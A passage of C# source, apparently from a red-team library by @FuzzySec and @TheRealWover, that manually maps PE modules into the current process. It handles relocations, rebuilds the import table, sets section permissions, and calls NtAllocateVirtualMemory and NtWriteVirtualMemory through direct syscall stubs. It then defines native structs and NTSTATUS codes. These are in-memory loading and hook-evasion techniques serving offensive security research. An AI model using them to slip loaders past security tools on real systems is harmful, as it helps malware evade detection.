698 | if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc)
699 | {
700 | try
701 | {
702 | IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch);
703 | if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86)
704 | {
705 | Int32 OriginalPtr = Marshal.ReadInt32(pPatch);
706 | Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta));
707 | }
708 | else // IMAGE_REL_BASED_DIR64 (x64)
709 | {
710 | Int64 OriginalPtr = Marshal.ReadInt64(pPatch);
711 | Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta));
712 | }
713 | }
714 | catch
715 | {
716 | throw new InvalidOperationException("Memory access violation.");
717 | }
718 | }
719 | }
720 |
721 | // Check for next block
722 | pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock);
723 | nextRelocTableBlock = Marshal.ReadInt32(pRelocTable);
724 | }
725 | }
726 |
727 | ///
728 | /// Rewrite IAT for manually mapped module.
729 | ///
730 | /// Ruben Boonen (@FuzzySec)
731 | /// Module meta data struct (PE.PE_META_DATA).
732 | /// Base address of the module in memory.
733 | /// void
734 | public static void RewriteModuleIAT(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
735 | {
736 | PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable;
737 |
738 | // Check if there is no import table
739 | if (idd.VirtualAddress == 0)
740 | {
741 | // Return so that the rest of the module mapping process may continue.
742 | return;
743 | }
744 |
745 | // Ptr for the base import directory
746 | IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress);
747 |
748 | // Get API Set mapping dictionary if on Win10+
749 | Native.OSVERSIONINFOEX OSVersion = new Native.OSVERSIONINFOEX();
750 | DynamicNative.RtlGetVersion(ref OSVersion);
751 | Dictionary ApiSetDict = new Dictionary();
752 | if (OSVersion.MajorVersion >= 10)
753 | {
754 | ApiSetDict = DynamicGeneric.GetApiSetMapping();
755 | }
756 |
757 | // Loop IID's
758 | int counter = 0;
759 | Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR();
760 | iid = (Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(
761 | (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),
762 | typeof(Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)
763 | );
764 | while (iid.Name != 0)
765 | {
766 | // Get DLL
767 | string DllName = string.Empty;
768 | try
769 | {
770 | DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name));
771 | }
772 | catch { }
773 |
774 | // Loop imports
775 | if (DllName == string.Empty)
776 | {
777 | throw new InvalidOperationException("Failed to read DLL name.");
778 | }
779 | else
780 | {
781 | // API Set DLL?
782 | if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith("api-") || DllName.StartsWith("ext-")) &&
783 | ApiSetDict.ContainsKey(DllName) && ApiSetDict[DllName].Length > 0)
784 | {
785 | // Not all API set DLL's have a registered host mapping
786 | DllName = ApiSetDict[DllName];
787 | }
788 |
789 | // Check and / or load DLL
790 | IntPtr hModule = DynamicGeneric.GetLoadedModuleAddress(DllName);
791 | if (hModule == IntPtr.Zero)
792 | {
793 | hModule = DynamicGeneric.LoadModuleFromDisk(DllName);
794 | if (hModule == IntPtr.Zero)
795 | {
796 | throw new FileNotFoundException(DllName + ", unable to find the specified file.");
797 | }
798 | }
799 |
800 | // Loop thunks
801 | if (PEINFO.Is32Bit)
802 | {
803 | PE.IMAGE_THUNK_DATA32 oft_itd = new PE.IMAGE_THUNK_DATA32();
804 | for (int i = 0; true; i++)
805 | {
806 | oft_itd = (PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(PE.IMAGE_THUNK_DATA32));
807 | IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32))));
808 | if (oft_itd.AddressOfData == 0)
809 | {
810 | break;
811 | }
812 |
813 | if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32
814 | {
815 | IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));
816 | IntPtr pFunc = IntPtr.Zero;
817 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));
818 |
819 | // Write ProcAddress
820 | Marshal.WriteInt32(ft_itd, pFunc.ToInt32());
821 | }
822 | else
823 | {
824 | ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;
825 | IntPtr pFunc = IntPtr.Zero;
826 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, (short)fOrdinal);
827 |
828 | // Write ProcAddress
829 | Marshal.WriteInt32(ft_itd, pFunc.ToInt32());
830 | }
831 | }
832 | }
833 | else
834 | {
835 | PE.IMAGE_THUNK_DATA64 oft_itd = new PE.IMAGE_THUNK_DATA64();
836 | for (int i = 0; true; i++)
837 | {
838 | oft_itd = (PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(PE.IMAGE_THUNK_DATA64));
839 | IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64))));
840 | if (oft_itd.AddressOfData == 0)
841 | {
842 | break;
843 | }
844 |
845 | if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64
846 | {
847 | IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16));
848 | IntPtr pFunc = IntPtr.Zero;
849 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName));
850 |
851 | // Write pointer
852 | Marshal.WriteInt64(ft_itd, pFunc.ToInt64());
853 | }
854 | else
855 | {
856 | ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF;
857 | IntPtr pFunc = IntPtr.Zero;
858 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, (short)fOrdinal);
859 |
860 | // Write pointer
861 | Marshal.WriteInt64(ft_itd, pFunc.ToInt64());
862 | }
863 | }
864 | }
865 | counter++;
866 | iid = (Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure(
867 | (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)),
868 | typeof(Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)
869 | );
870 | }
871 | }
872 | }
873 |
874 | ///
875 | /// Set correct module section permissions.
876 | ///
877 | /// Ruben Boonen (@FuzzySec)
878 | /// Module meta data struct (PE.PE_META_DATA).
879 | /// Base address of the module in memory.
880 | /// void
881 | public static void SetModuleSectionPermissions(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
882 | {
883 | // Apply RO to the module header
884 | IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode;
885 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Win32.WinNT.PAGE_READONLY);
886 |
887 | // Apply section permissions
888 | foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
889 | {
890 | bool isRead = (ish.Characteristics & PE.DataSectionFlags.MEM_READ) != 0;
891 | bool isWrite = (ish.Characteristics & PE.DataSectionFlags.MEM_WRITE) != 0;
892 | bool isExecute = (ish.Characteristics & PE.DataSectionFlags.MEM_EXECUTE) != 0;
893 | uint flNewProtect = 0;
894 | if (isRead & !isWrite & !isExecute)
895 | {
896 | flNewProtect = Win32.WinNT.PAGE_READONLY;
897 | }
898 | else if (isRead & isWrite & !isExecute)
899 | {
900 | flNewProtect = Win32.WinNT.PAGE_READWRITE;
901 | }
902 | else if (isRead & isWrite & isExecute)
903 | {
904 | flNewProtect = Win32.WinNT.PAGE_EXECUTE_READWRITE;
905 | }
906 | else if (isRead & !isWrite & isExecute)
907 | {
908 | flNewProtect = Win32.WinNT.PAGE_EXECUTE_READ;
909 | }
910 | else if (!isRead & !isWrite & isExecute)
911 | {
912 | flNewProtect = Win32.WinNT.PAGE_EXECUTE;
913 | }
914 | else
915 | {
916 | throw new InvalidOperationException("Unknown section flag, " + ish.Characteristics);
917 | }
918 |
919 | // Calculate base
920 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress);
921 | IntPtr ProtectSize = (IntPtr)ish.VirtualSize;
922 |
923 | // Set protection
924 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect);
925 | }
926 | }
927 |
928 | ///
929 | /// Manually map module into current process.
930 | ///
931 | /// Ruben Boonen (@FuzzySec)
932 | /// Full path to the module on disk.
933 | /// PE_MANUAL_MAP object
934 | public static PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath)
935 | {
936 | // Alloc module into memory for parsing
937 | IntPtr pModule = AllocateFileToMemory(ModulePath);
938 | return MapModuleToMemory(pModule);
939 | }
940 |
941 | ///
942 | /// Manually map module into current process.
943 | ///
944 | /// Ruben Boonen (@FuzzySec)
945 | /// Full byte array of the module.
946 | /// PE_MANUAL_MAP object
947 | public static PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module)
948 | {
949 | // Alloc module into memory for parsing
950 | IntPtr pModule = AllocateBytesToMemory(Module);
951 | return MapModuleToMemory(pModule);
952 | }
953 |
954 | ///
955 | /// Manually map module into current process starting at the specified base address.
956 | ///
957 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)
958 | /// Full byte array of the module.
959 | /// Address in memory to map module to.
960 | /// PE_MANUAL_MAP object
961 | public static PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage)
962 | {
963 | // Alloc module into memory for parsing
964 | IntPtr pModule = AllocateBytesToMemory(Module);
965 |
966 | return MapModuleToMemory(pModule, pImage);
967 | }
968 |
969 | ///
970 | /// Manually map module into current process.
971 | ///
972 | /// Ruben Boonen (@FuzzySec)
973 | /// Pointer to the module base.
974 | /// PE_MANUAL_MAP object
975 | public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule)
976 | {
977 | // Fetch PE meta data
978 | PE.PE_META_DATA PEINFO = DynamicGeneric.GetPeMetaData(pModule);
979 |
980 | // Check module matches the process architecture
981 | if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))
982 | {
983 | Marshal.FreeHGlobal(pModule);
984 | throw new InvalidOperationException("The module architecture does not match the process architecture.");
985 | }
986 |
987 | // Alloc PE image memory -> RW
988 | IntPtr BaseAddress = IntPtr.Zero;
989 |
990 |
991 | // Syscall NtAllocateVirtualMemory
992 | IntPtr pNtAllocateVirtualMemory = DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory");
993 | DynamicNative.DELEGATES.NtAllocateVirtualMemory fSyscallNtAllocateVirtualMemory = (DynamicNative.DELEGATES.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(pNtAllocateVirtualMemory, typeof(DynamicNative.DELEGATES.NtAllocateVirtualMemory));
994 |
995 | IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
996 | uint result = fSyscallNtAllocateVirtualMemory(
997 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
998 | Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE,
999 | Win32.WinNT.PAGE_READWRITE
1000 | );
1001 |
1002 | IntPtr pImage = IntPtr.Zero;
1003 |
1004 | if (result == 0)
1005 | {
1006 | Console.WriteLine("Successfully allocated memory!");
1007 | pImage = BaseAddress;
1008 | }
1009 | else
1010 | {
1011 | Console.WriteLine("Failed to allocate memory, StatusCode: {0}", result);
1012 | }
1013 |
1014 |
1015 | return MapModuleToMemory(pModule, pImage, PEINFO);
1016 | }
1017 |
1018 | ///
1019 | /// Manually map module into current process.
1020 | ///
1021 | /// Ruben Boonen (@FuzzySec)
1022 | /// Pointer to the module base.
1023 | /// Pointer to the PEINFO image.
1024 | /// PE_MANUAL_MAP object
1025 | public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage)
1026 | {
1027 | PE.PE_META_DATA PEINFO = DynamicGeneric.GetPeMetaData(pModule);
1028 | return MapModuleToMemory(pModule, pImage, PEINFO);
1029 | }
1030 |
1031 | ///
1032 | /// Manually map module into current process.
1033 | ///
1034 | /// Ruben Boonen (@FuzzySec)
1035 | /// Pointer to the module base.
1036 | /// Pointer to the PEINFO image.
1037 | /// PE_META_DATA of the module being mapped.
1038 | /// PE_MANUAL_MAP object
1039 | public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, PE.PE_META_DATA PEINFO)
1040 | {
1041 |
1042 | // Syscall NtWriteVirtualMemory
1043 | IntPtr pNtWriteVirtualMemory = DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory");
1044 | DynamicNative.DELEGATES.NtWriteVirtualMemory fSyscallNtWriteVirtualMemory = (DynamicNative.DELEGATES.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(pNtWriteVirtualMemory, typeof(DynamicNative.DELEGATES.NtWriteVirtualMemory));
1045 |
1046 | // Check module matches the process architecture
1047 | if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4))
1048 | {
1049 | Marshal.FreeHGlobal(pModule);
1050 | throw new InvalidOperationException("The module architecture does not match the process architecture.");
1051 | }
1052 |
1053 | // Write PE header to memory
1054 | UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
1055 | UInt32 BytesWritten = 0;
1056 | uint result = fSyscallNtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders, ref BytesWritten);
1057 |
1058 | if (result == 0)
1059 | {
1060 | Console.WriteLine("Successfully wrote PE header");
1061 | }
1062 | else
1063 | {
1064 | Console.WriteLine("Failed to write PE header, StatusCode: {0}", result);
1065 | }
1066 |
1067 | // Write sections to memory
1068 | foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
1069 | {
1070 | // Calculate offsets
1071 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
1072 | IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
1073 |
1074 | // Write data
1075 | result = fSyscallNtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData, ref BytesWritten);
1076 | if (BytesWritten != ish.SizeOfRawData)
1077 | {
1078 | throw new InvalidOperationException("Failed to write to memory.");
1079 | }
1080 | if (result == 0)
1081 | {
1082 | Console.WriteLine("Successfully wrote section {0}", ish.Section);
1083 | }
1084 | else
1085 | {
1086 | Console.WriteLine("Failed to write section {0}, StatusCode: {1}", ish.Name, result);
1087 | }
1088 | }
1089 |
1090 | // Perform relocations
1091 | RelocateModule(PEINFO, pImage);
1092 |
1093 | // Rewrite IAT
1094 | RewriteModuleIAT(PEINFO, pImage);
1095 |
1096 | // Set memory protections
1097 | SetModuleSectionPermissions(PEINFO, pImage);
1098 |
1099 | // Free temp HGlobal
1100 | Marshal.FreeHGlobal(pModule);
1101 |
1102 | // Prepare return object
1103 | PE.PE_MANUAL_MAP ManMapObject = new PE.PE_MANUAL_MAP
1104 | {
1105 | ModuleBase = pImage,
1106 | PEINFO = PEINFO
1107 | };
1108 |
1109 | return ManMapObject;
1110 | }
1111 |
1112 | ///
1113 | /// Free a module that was mapped into the current process.
1114 | ///
1115 | /// The Wover (@TheRealWover)
1116 | /// The metadata of the manually mapped module.
1117 | public static void FreeModule(PE.PE_MANUAL_MAP PEMapped)
1118 | {
1119 | // Check if PE was mapped via module overloading
1120 | if (!string.IsNullOrEmpty(PEMapped.DecoyModule))
1121 | {
1122 | DynamicNative.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase);
1123 | }
1124 | // If PE not mapped via module overloading, free the memory.
1125 | else
1126 | {
1127 | PE.PE_META_DATA PEINFO = PEMapped.PEINFO;
1128 |
1129 | // Get the size of the module in memory
1130 | IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
1131 | IntPtr pModule = PEMapped.ModuleBase;
1132 |
1133 | DynamicNative.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Win32.Kernel32.MEM_RELEASE);
1134 | }
1135 | }
1136 | }
1137 |
1138 | public static class Native
1139 | {
1140 | [StructLayout(LayoutKind.Sequential)]
1141 | public struct UNICODE_STRING
1142 | {
1143 | public UInt16 Length;
1144 | public UInt16 MaximumLength;
1145 | public IntPtr Buffer;
1146 | }
1147 |
1148 | [StructLayout(LayoutKind.Sequential)]
1149 | public struct ANSI_STRING
1150 | {
1151 | public UInt16 Length;
1152 | public UInt16 MaximumLength;
1153 | public IntPtr Buffer;
1154 | }
1155 |
1156 | public struct PROCESS_BASIC_INFORMATION
1157 | {
1158 | public IntPtr ExitStatus;
1159 | public IntPtr PebBaseAddress;
1160 | public IntPtr AffinityMask;
1161 | public IntPtr BasePriority;
1162 | public UIntPtr UniqueProcessId;
1163 | public int InheritedFromUniqueProcessId;
1164 |
1165 | public int Size
1166 | {
1167 | get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
1168 | }
1169 | }
1170 |
1171 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
1172 | public struct OBJECT_ATTRIBUTES
1173 | {
1174 | public Int32 Length;
1175 | public IntPtr RootDirectory;
1176 | public IntPtr ObjectName; // -> UNICODE_STRING
1177 | public uint Attributes;
1178 | public IntPtr SecurityDescriptor;
1179 | public IntPtr SecurityQualityOfService;
1180 | }
1181 |
1182 | [StructLayout(LayoutKind.Sequential)]
1183 | public struct IO_STATUS_BLOCK
1184 | {
1185 | public IntPtr Status;
1186 | public IntPtr Information;
1187 | }
1188 |
1189 | [StructLayout(LayoutKind.Sequential)]
1190 | public struct CLIENT_ID
1191 | {
1192 | public IntPtr UniqueProcess;
1193 | public IntPtr UniqueThread;
1194 | }
1195 |
1196 | [StructLayout(LayoutKind.Sequential)]
1197 | public struct OSVERSIONINFOEX
1198 | {
1199 | public uint OSVersionInfoSize;
1200 | public uint MajorVersion;
1201 | public uint MinorVersion;
1202 | public uint BuildNumber;
1203 | public uint PlatformId;
1204 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
1205 | public string CSDVersion;
1206 | public ushort ServicePackMajor;
1207 | public ushort ServicePackMinor;
1208 | public ushort SuiteMask;
1209 | public byte ProductType;
1210 | public byte Reserved;
1211 | }
1212 |
1213 | [StructLayout(LayoutKind.Sequential)]
1214 | public struct LIST_ENTRY
1215 | {
1216 | public IntPtr Flink;
1217 | public IntPtr Blink;
1218 | }
1219 |
1220 | public enum MEMORYINFOCLASS : int
1221 | {
1222 | MemoryBasicInformation = 0,
1223 | MemoryWorkingSetList,
1224 | MemorySectionName,
1225 | MemoryBasicVlmInformation
1226 | }
1227 |
1228 | public enum PROCESSINFOCLASS : int
1229 | {
1230 | ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
1231 | ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
1232 | ProcessIoCounters, // q: IO_COUNTERS
1233 | ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX
1234 | ProcessTimes, // q: KERNEL_USER_TIMES
1235 | ProcessBasePriority, // s: KPRIORITY
1236 | ProcessRaisePriority, // s: ULONG
1237 | ProcessDebugPort, // q: HANDLE
1238 | ProcessExceptionPort, // s: HANDLE
1239 | ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
1240 | ProcessLdtInformation, // 10
1241 | ProcessLdtSize,
1242 | ProcessDefaultHardErrorMode, // qs: ULONG
1243 | ProcessIoPortHandlers, // (kernel-mode only)
1244 | ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
1245 | ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
1246 | ProcessUserModeIOPL,
1247 | ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
1248 | ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
1249 | ProcessWx86Information,
1250 | ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION
1251 | ProcessAffinityMask, // s: KAFFINITY
1252 | ProcessPriorityBoost, // qs: ULONG
1253 | ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
1254 | ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
1255 | ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
1256 | ProcessWow64Information, // q: ULONG_PTR
1257 | ProcessImageFileName, // q: UNICODE_STRING
1258 | ProcessLUIDDeviceMapsEnabled, // q: ULONG
1259 | ProcessBreakOnTermination, // qs: ULONG
1260 | ProcessDebugObjectHandle, // 30, q: HANDLE
1261 | ProcessDebugFlags, // qs: ULONG
1262 | ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
1263 | ProcessIoPriority, // qs: ULONG
1264 | ProcessExecuteFlags, // qs: ULONG
1265 | ProcessResourceManagement,
1266 | ProcessCookie, // q: ULONG
1267 | ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
1268 | ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION
1269 | ProcessPagePriority, // q: ULONG
1270 | ProcessInstrumentationCallback, // 40
1271 | ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
1272 | ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
1273 | ProcessImageFileNameWin32, // q: UNICODE_STRING
1274 | ProcessImageFileMapping, // q: HANDLE (input)
1275 | ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
1276 | ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
1277 | ProcessGroupInformation, // q: USHORT[]
1278 | ProcessTokenVirtualizationEnabled, // s: ULONG
1279 | ProcessConsoleHostProcess, // q: ULONG_PTR
1280 | ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION
1281 | ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
1282 | ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
1283 | ProcessDynamicFunctionTableInformation,
1284 | ProcessHandleCheckingMode,
1285 | ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
1286 | ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
1287 | MaxProcessInfoClass
1288 | };
1289 |
1290 | ///
1291 | /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html
1292 | ///
1293 | public enum NT_CREATION_FLAGS : ulong
1294 | {
1295 | CREATE_SUSPENDED = 0x00000001,
1296 | SKIP_THREAD_ATTACH = 0x00000002,
1297 | HIDE_FROM_DEBUGGER = 0x00000004,
1298 | HAS_SECURITY_DESCRIPTOR = 0x00000010,
1299 | ACCESS_CHECK_IN_TARGET = 0x00000020,
1300 | INITIAL_THREAD = 0x00000080
1301 | }
1302 |
1303 | ///
1304 | /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
1305 | /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
1306 | ///
1307 | public enum NTSTATUS : uint
1308 | {
1309 | // Success
1310 | Success = 0x00000000,
1311 | Wait0 = 0x00000000,
1312 | Wait1 = 0x00000001,
1313 | Wait2 = 0x00000002,
1314 | Wait3 = 0x00000003,
1315 | Wait63 = 0x0000003f,
1316 | Abandoned = 0x00000080,
1317 | AbandonedWait0 = 0x00000080,
1318 | AbandonedWait1 = 0x00000081,
1319 | AbandonedWait2 = 0x00000082,
1320 | AbandonedWait3 = 0x00000083,
1321 | AbandonedWait63 = 0x000000bf,
1322 | UserApc = 0x000000c0,
1323 | KernelApc = 0x00000100,
1324 | Alerted = 0x00000101,
1325 | Timeout = 0x00000102,
1326 | Pending = 0x00000103,
1327 | Reparse = 0x00000104,
1328 | MoreEntries = 0x00000105,
1329 | NotAllAssigned = 0x00000106,
1330 | SomeNotMapped = 0x00000107,
1331 | OpLockBreakInProgress = 0x00000108,
1332 | VolumeMounted = 0x00000109,
1333 | RxActCommitted = 0x0000010a,
1334 | NotifyCleanup = 0x0000010b,
1335 | NotifyEnumDir = 0x0000010c,
1336 | NoQuotasForAccount = 0x0000010d,
1337 | PrimaryTransportConnectFailed = 0x0000010e,
1338 | PageFaultTransition = 0x00000110,
1339 | PageFaultDemandZero = 0x00000111,
1340 | PageFaultCopyOnWrite = 0x00000112,
1341 | PageFaultGuardPage = 0x00000113,
1342 | PageFaultPagingFile = 0x00000114,
1343 | CrashDump = 0x00000116,
1344 | ReparseObject = 0x00000118,
1345 | NothingToTerminate = 0x00000122,
1346 | ProcessNotInJob = 0x00000123,
1347 | ProcessInJob = 0x00000124,
1348 | ProcessCloned = 0x00000129,
1349 | FileLockedWithOnlyReaders = 0x0000012a,
1350 | FileLockedWithWriters = 0x0000012b,
1351 |
1352 | // Informational
1353 | Informational = 0x40000000,
1354 | ObjectNameExists = 0x40000000,
1355 | ThreadWasSuspended = 0x40000001,
1356 | WorkingSetLimitRange = 0x40000002,
1357 | ImageNotAtBase = 0x40000003,
1358 | RegistryRecovered = 0x40000009,
1359 |
1360 | // Warning
1361 | Warning = 0x80000000,
1362 | GuardPageViolation = 0x80000001,
1363 | DatatypeMisalignment = 0x80000002,
1364 | Breakpoint = 0x80000003,
1365 | SingleStep = 0x80000004,
1366 | BufferOverflow = 0x80000005,
1367 | NoMoreFiles = 0x80000006,
1368 | HandlesClosed = 0x8000000a,
1369 | PartialCopy = 0x8000000d,
1370 | DeviceBusy = 0x80000011,
1371 | InvalidEaName = 0x80000013,
1372 | EaListInconsistent = 0x80000014,
1373 | NoMoreEntries = 0x8000001a,
1374 | LongJump = 0x80000026,
1375 | DllMightBeInsecure = 0x8000002b,
1376 |
1377 | // Error
1378 | Error = 0xc0000000,
1379 | Unsuccessful = 0xc0000001,
1380 | NotImplemented = 0xc0000002,
1381 | InvalidInfoClass = 0xc0000003,
1382 | InfoLengthMismatch = 0xc0000004,
1383 | AccessViolation = 0xc0000005,
1384 | InPageError = 0xc0000006,
1385 | PagefileQuota = 0xc0000007,
1386 | InvalidHandle = 0xc0000008,
1387 | BadInitialStack = 0xc0000009,
1388 | BadInitialPc = 0xc000000a,
1389 | InvalidCid = 0xc000000b,
1390 | TimerNotCanceled = 0xc000000c,
1391 | InvalidParameter = 0xc000000d,
1392 | NoSuchDevice = 0xc000000e,
1393 | NoSuchFile = 0xc000000f,
1394 | InvalidDeviceRequest = 0xc0000010,
1395 | EndOfFile = 0xc0000011,
1396 | WrongVolume = 0xc0000012,
1397 | NoMediaInDevice = 0xc0000013,
1398 | NoMemory = 0xc0000017,
1399 | ConflictingAddresses = 0xc0000018,
1400 | NotMappedView = 0xc0000019,
1401 | UnableToFreeVm = 0xc000001a,
1402 | UnableToDeleteSection = 0xc000001b,
1403 | IllegalInstruction = 0xc000001d,
1404 | AlreadyCommitted = 0xc0000021,
1405 | AccessDenied = 0xc0000022,
1406 | BufferTooSmall = 0xc0000023,
1407 | ObjectTypeMismatch = 0xc0000024,
1408 | NonContinuableException = 0xc0000025,
1409 | BadStack = 0xc0000028,
1410 | NotLocked = 0xc000002a,
1411 | NotCommitted = 0xc000002d,
1412 | InvalidParameterMix = 0xc0000030,
1413 | ObjectNameInvalid = 0xc0000033,
1414 | ObjectNameNotFound = 0xc0000034,
1415 | ObjectNameCollision = 0xc0000035,
1416 | ObjectPathInvalid = 0xc0000039,
1417 | ObjectPathNotFound = 0xc000003a,
1418 | ObjectPathSyntaxBad = 0xc000003b,
1419 | DataOverrun = 0xc000003c,
1420 | DataLate = 0xc000003d,
1421 | DataError = 0xc000003e,
1422 | CrcError = 0xc000003f,
1423 | SectionTooBig = 0xc0000040,
1424 | PortConnectionRefused = 0xc0000041,
1425 | InvalidPortHandle = 0xc0000042,
1426 | SharingViolation = 0xc0000043,
1427 | QuotaExceeded = 0xc0000044,
1428 | InvalidPageProtection = 0xc0000045,
1429 | MutantNotOwned = 0xc0000046,
1430 | SemaphoreLimitExceeded = 0xc0000047,
1431 | PortAlreadySet = 0xc0000048,
1432 | SectionNotImage = 0xc0000049,
